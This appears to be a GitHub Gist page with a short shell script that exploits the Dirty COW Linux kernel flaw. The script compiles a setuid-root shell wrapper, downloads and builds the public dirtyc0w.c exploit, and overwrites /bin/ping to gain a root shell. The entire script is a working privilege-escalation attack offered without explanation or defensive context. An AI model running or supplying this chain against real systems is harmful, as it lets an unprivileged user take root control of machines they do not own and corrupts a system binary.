Created
October 21, 2016 13:08
-
-
Save nongiach/bc8f9a1325b458871c53dd73b2703ede to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
cat << EOF > shell.c | |
#include <sys/types.h> | |
#include <unistd.h> | |
#include <stdlib.h> | |
void main() { | |
setreuid(0, 0); | |
system("/bin/bash"); | |
} | |
EOF | |
gcc -o shell shell.c | |
wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c | |
gcc -pthread -o dirtyc0w dirtyc0w.c | |
cp /bin/ping ping.backup | |
./dirtyc0w /bin/ping $'#!./shell\n' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment